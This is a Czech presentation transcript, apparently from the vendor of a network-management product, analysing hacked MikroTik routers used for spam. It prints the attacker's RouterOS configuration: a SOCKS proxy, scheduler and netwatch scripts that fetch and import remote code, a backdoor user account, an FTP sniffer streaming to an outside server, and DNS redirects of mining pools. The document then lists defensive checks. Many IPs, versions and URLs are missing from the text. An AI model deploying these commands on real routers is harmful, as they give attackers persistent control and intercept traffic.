Jste si jistí, že nemáte v síti hacknutý MikroTik?

Transkript

1 Jste si jistí, že nemáte v síti hacknutý MikroTik? V poslední době jsme narazili na několik MikroTik routerů, které vypadaly na první pohled standardně (Běžel přes ně provoz. Bylo možné se na ně přihlásit pomocí Winboxu.), ale u kterých se při podrobnějším prozkoumání ukázalo, že odesílají spam přes SMTP protokol. Pojďme se podívat na konkrétní příklad: Během několika minut se v ové frontě objevilo více než ů. To není v pořádku. Daný router používal MikroTik RouterOS ve verzi Nicméně k hacknutí muselo dojít někdy mezi a V té době byla na routeru nainstalována verze 6.40.x. K upgradu na verzi došlo později, kdy byl již router kompromitován. Po analýze konfigurace routeru jsme zjistili, že na routeru byl zapnutý SOCKS server a přes něj byl celý router ovládán. SOCKS server běžel na portu 44550, ale je pravděpodobné, že používaný port může být na každém hacknutém routeru jiný. Analýza routeru 1) SOCKS server povolen /ip socks set enabled=yes port=44550

2 2) Nová pravidla ve Firewallu Ve firewallu byla spousta identických pravidel povolujících spojení na port /ip firewall filter Celkem zde bylo 71 stejných pravidel. Pravděpodobně se při každém úspěšném útoku přidalo jedno pravidlo. To znamená, že router byl napaden celkem 71krát.

3 3) Web proxy na portu povolena /ip proxy set anonymous=yes cache-on-disk=yes cache-path=web-proxy1 enabled=yes port=52107

4 4) Přidána pravidla pro přesměrování portů do NATu /ip firewall nat add action=dst-nat chain=dst-nat dst-port=3333 protocol=tcp to-addresses=\ to-ports=3333 add action=dst-nat chain=dst-nat dst-port=8888 protocol=tcp to-addresses=\ to-ports=3333 add action=dst-nat chain=dst-nat dst-port=14444 protocol=tcp to-addresses=\ to-ports=4444 add action=dst-nat chain=dst-nat dst-port=8008 protocol=tcp to-addresses=\ to-ports=4444 add action=dst-nat chain=dst-nat dst-port=4444 protocol=tcp to-addresses=\ to-ports=4444 Při analýze síťového provozu je zřejmé, že na SOCKS server, na port 44550, se automaticky připojuje hned několik IP adres. Z dalších IP adres probíhalo skenování portů na otevřené služby.

5 5) Přidán účet pro připojení přes VPN /ppp secret add name=dodo password=dodo profile=dodo 6) Přidány statické DNS záznamy (Celý seznam je na konci dokumentu.)

6 Pokud měl nějaký počítač v síti nastavené DNS na napadený router, tak při pokusu o přístup na adresu ze seznamu byl cílový provoz přesměrován na úplně jinou IP adresu. Přesměrování probíhalo na tyto adresy: ) Načasované úlohy /system scheduler add interval=5m name=u5 on-event="/tool fetch url= 482da-f83c-4573-af8b-d6b486188b85 mode=http dst-path=7xe7zt46hb08\r\ \n/import 7xe7zt46hb08" policy=\ ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\ sep/06/2018 start-time=16:16:11 Scheduler se pokoušel stáhnout skript a ten následně spustit URL však již nebyla aktivní. 8) Další instalovaná vychytávka v Netwatch /tool netwatch add comment=1 host= interval=30s up-script="\r\ \n/tool fetch url=\" dst-path=auto\ supout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n" add comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host= interval=3m30s \ timeout=1ms URL obsahuje skript :if ([:len [/tool netw find]]=0) do={ /tool netwatch add comment=1 host= interval=30s up-script="\r\ \n/tool fetch url=\" dst-path=autosu\ pout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n"

7 add disabled=yes comment=2 down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host= interval=3m30s \ timeout=1ms } :if ([/in l2tp-s ser get enabled ]=false) do={/in l2tp-s ser set en=yes} :if ([:len [/user find name=default]]=0) do={/user add name=default pass=jackk} IP adresa má podle Whois domov v Číně: inetnum: netname: ALISOFT descr: Aliyun Computing Co., LTD descr: 5F, Builing D, the West Lake International Plaza of S&T descr: No.391 Wen'er Road, Hangzhou, Zhejiang, China, country: CN admin-c: ZM1015-AP tech-c: ZM877-AP tech-c: ZM876-AP tech-c: ZM875-AP mnt-by: MAINT-CNNIC-AP mnt-irt: IRT-CNNIC-CN status: ALLOCATED PORTABLE last-modified: T01:59:04Z source: APNIC 9) Sniffer /tool sniffer set file-limit=100kib filter-interface=all filter-ip-protocol=tcp \ filter-port=ftp-data,ftp filter-stream=yes streaming-enabled=yes \ streaming-server= Cílová IP adresa je podle Whois ve Vietnamu: inetnum: netname: VIETTEL-VN descr: Viettel Group descr: No 1, Tran Huu Duc street, My Dinh 2 ward, Nam Tu Liem district, Ha Noi City country: VN admin-c: TVT8-AP tech-c: NDT9-AP remarks: For spamming matters, mail to soc@viettel.com.vn mnt-by: MAINT-VN-VNNIC status: ALLOCATED PORTABLE mnt-irt: IRT-VNNIC-AP last-modified: T09:41:33Z source: APNIC

8 Díky Snifferu útočníci zjistili, který SMTP server se používá pro odesílání mailu a následně jej využili k odesílání spamů. Ke kompromitaci routeru došlo s největší pravděpodobností přes Winbox (CVE ). Z analýzy je patrné, že hackeři této zranitelnosti využili k tomu, aby následně mohli napadené routery použít ke svým zlovolným účelům. Bližší informace naleznete na nebo Vzhledem k tomu, že ke kompromitaci routeru došlo dříve, tak po upgradu na verzi byly všechny skripty a SOCKS server aktivní, takže router byl stále pod správou útočníků. Doporučujeme provést kontrolu routerů: 1) Zkontrolujte aktivní služby: /system services 2) Zkontrolujte, zdali není aktivní SOCKS server: /ip socks 3) Zkontrolujte, zdali není aktivní Web proxy: /ip web proxy 4) Zkontrolujte skripty: /system scripts 5) Povolte SSH, Winbox a API přístup pouze z důvěryhodných IP adres 6) Udržujte aktuální verzi RouterOS

9 V ISPadminu 5.02 beta1 je možné otestovat, zdali na routeru neběží Web proxy, SOCKS server a/nebo Sniffer. Také je možné provést hromadnou aktualizaci RouterOS. V Hardware / Routery / Router status / Dashboard najdete přehled routerů MikroTik. Jsou zde zobrazeny informace o instalovaných verzích RouterOS a o aktivních službách (/ip services). Taktéž jsou zde informace o tom, zdali je na některém routeru aktivní SOCKS server a/nebo Web proxy. Kliknutím na počet routerů se zobrazí detaily.

10 Pokud například kliknete na číslo v řádku Telnet a sloupci Celkem, budete přesměrováni na stránku s přehledem routerů, na kterých je spuštěn Telnet.

11 Pokud zaškrtnete příslušné checkboxy a z pop-up menu vyberete Aktualizovat Mikrotik OS, tak se u daných routerů provede upgrade na nejnovější verzi. Routery musí mít přístup k Internetu, aby si mohly stáhnout aktualizace. Bližší informace o aktualizaci routerů najdete na

12 Výpis statických DNS /ip dns static add address= name=asia1.ethermine.org add address= name=asia1.ethpool.org add address= name=asia1.fullhashed.com add address= name=asia2.ethermine.org add address= name=cn.sparkpool.com add address= name=aurorapool.net add address= name=daggerhashimoto.br.nicehash.com add address= name=daggerhashimoto.eu.nicehash.com add address= name=daggerhashimoto.hk.nicehash.com add address= name=daggerhashimoto.in.nicehash.com add address= name=daggerhashimoto.jp.nicehash.com add address= name=daggerhashimoto.usa.nicehash.com add address= name=coinotron.com add address= name=eth.1stpool.com add address= name=eth.anorak.tech add address= name=eth.2miners.com add address= name=eth.antpool.com add address= name=eth-ar.dwarfpool.com add address= name=eth.arsmine.net add address= name=eth-as.coinmine.pl add address= name=eth-asia1.nanopool.org add address= name=eth-br.dwarfpool.com add address= name=eth.chileminers.cl add address= name=eth.coinfoundry.org add address= name=eth.coinmine.pl add address= name=ethepool.com add address= name=ether.bw.com add address= name=etherdig.net add address= name=ethereum.marshsoftware.ca add address= name=ethereumpool.club add address= name=ethergrab.us add address= name=ethermine.ru add address= name=ethertrench.com add address= name=eth.ethertrench.com add address= name=eth-eu1.nanopool.org add address= name=eth-eu.coinmine.pl add address= name=eth-eu.dwarfpool.com add address= name=eth-eu.mining.sk add address= name=eth-eu.pool.sexy add address= name=eth.f2pool.com add address= name=eth.gigantpool.com add address= name=eth.gpumine.org add address= name=eth-hk.dwarfpool.com add address= name=eth.miningcity.org add address= name=eth.mymininghub.com add address= name=eth.pool.minergate.com add address= name=eth.poolmining.org

13 add address= name=eth-pool.ucrypto.net add address= name=eth.pool.zet-tech.eu add address= name=eth-ru.dwarfpool.com add address= name=eth-ru.edgestile.io add address= name=eth-ru.mining.sk add address= name=eth-sg.dwarfpool.com add address= name=eth.soyminero.es add address= name=eth.suprnova.cc add address= name=eth.uleypool.com add address= name=eth-us.coinmine.pl add address= name=eth-us.dwarfpool.com add address= name=eth-us-east1.nanopool.org add address= name=eth-us.maxhash.org add address= name=eth-us.pool.sexy add address= name=eth-us-west1.nanopool.org add address= name=eth.waterhole.io add address= name=eth.xeminer.net add address= name=eth.zion.net.co add address= name=eu1.ethermine.org add address= name=eu1.ethpool.org add address= name=eu2.ethermine.org add address= name=eu.99miners.com add address= name=eu.ethmine.club add address= name=eu.sparkpool.com add address= name=huabei2-pool.ethfans.org add address= name=huabei-pool.ethfans.org add address= name=miningcity.org add address= name=my.ethpool.net add address= name=na-west.sparkpool.com add address= name=na-east.sparkpool.com add address= name=noobpool.com add address= name=pool.ethfans.org add address= name=pool.virtualmining.pt add address= name=s.comining.io add address= name=us1.ethermine.org add address= name=us1.ethpool.org add address= name=us2.ethermine.org add address= name=us2.ethpool.org add address= name=vaux-all.uk add address= name=stratum.antpool.com add address= name=stratum.slushpool.com add address= name=cn.stratum.slushpool.com add address= name=eu.stratum.slushpool.com add address= name=jp-stratum.btcc.com add address= name=mint.bitminter.com add address= name=us.ss.btc.com add address= name=na-west.sparkpool.com add address= name=asia1.ethermine.org add address= name=na-east.sparkpool.com add address= name=asia1.ethpool.org add address= name=tw.sparkpool.com add address= name=asia1.fullhashed.com add address= name=kr.sparkpool.com add address= name=asia2.ethermine.org add address= name=jp.sparkpool.com add address= name=cn.sparkpool.com

14 add address= name=bitcoin.viabtc.com add address= name=aurorapool.net add address= name=stratum-us.f2pool.com add address= name=daggerhashimoto.br.nicehash.com add address= name=daggerhashimoto.eu.nicehash.com add address= name=stratum.f2pool.com add address= name=daggerhashimoto.hk.nicehash.com add address= name=stratum.btcguild.com add address= name=daggerhashimoto.in.nicehash.com add address= name=stratum.btccpool.com add address= name=daggerhashimoto.jp.nicehash.com add address= name=stratum.btc.top add address= name=daggerhashimoto.usa.nicehash.com add address= name=coinotron.com add address= name=eth.1stpool.com add address= name=eth.anorak.tech add address= name=eth.2miners.com add address= name=eth.antpool.com add address= name=eth-ar.dwarfpool.com add address= name=eth.arsmine.net add address= name=eth-as.coinmine.pl add address= name=eth-asia1.nanopool.org add address= name=eth-br.dwarfpool.com add address= name=eth.chileminers.cl add address= name=eth.coinfoundry.org add address= name=eth.coinmine.pl add address= name=ethepool.com add address= name=ether.bw.com add address= name=etherdig.net add address= name=ethereum.marshsoftware.ca add address= name=ethereumpool.club add address= name=ethergrab.us add address= name=ethermine.ru add address= name=ethertrench.com add address= name=eth.ethertrench.com add address= name=eth-eu1.nanopool.org add address= name=eth-eu.coinmine.pl add address= name=eth-eu.dwarfpool.com add address= name=eth-eu.mining.sk add address= name=eth-eu.pool.sexy add address= name=eth.f2pool.com add address= name=eth.gigantpool.com add address= name=eth.gpumine.org add address= name=eth-hk.dwarfpool.com add address= name=eth.miningcity.org add address= name=eth.mymininghub.com add address= name=eth.pool.minergate.com add address= name=eth.poolmining.org add address= name=eth-pool.ucrypto.net add address= name=eth.pool.zet-tech.eu add address= name=eth-ru.dwarfpool.com add address= name=eth-ru.edgestile.io add address= name=eth-ru.mining.sk add address= name=eth-sg.dwarfpool.com add address= name=eth.soyminero.es add address= name=eth.suprnova.cc

15 add address= name=eth.uleypool.com add address= name=eth-us.coinmine.pl add address= name=eth-us.dwarfpool.com add address= name=eth-us-east1.nanopool.org add address= name=eth-us.maxhash.org add address= name=eth-us.pool.sexy add address= name=eth-us-west1.nanopool.org add address= name=eth.waterhole.io add address= name=eth.xeminer.net add address= name=eth.zion.net.co add address= name=eu1.ethermine.org add address= name=eu1.ethpool.org add address= name=eu2.ethermine.org add address= name=eu.99miners.com add address= name=eu.ethmine.club add address= name=eu.sparkpool.com add address= name=huabei2-pool.ethfans.org add address= name=huabei-pool.ethfans.org add address= name=miningcity.org add address= name=my.ethpool.net add address= name=noobpool.com add address= name=pool.ethfans.org add address= name=pool.virtualmining.pt add address= name=s.comining.io add address= name=us1.ethermine.org add address= name=us1.ethpool.org add address= name=us2.ethermine.org add address= name=us2.ethpool.org add address= name=vaux-all.uk

16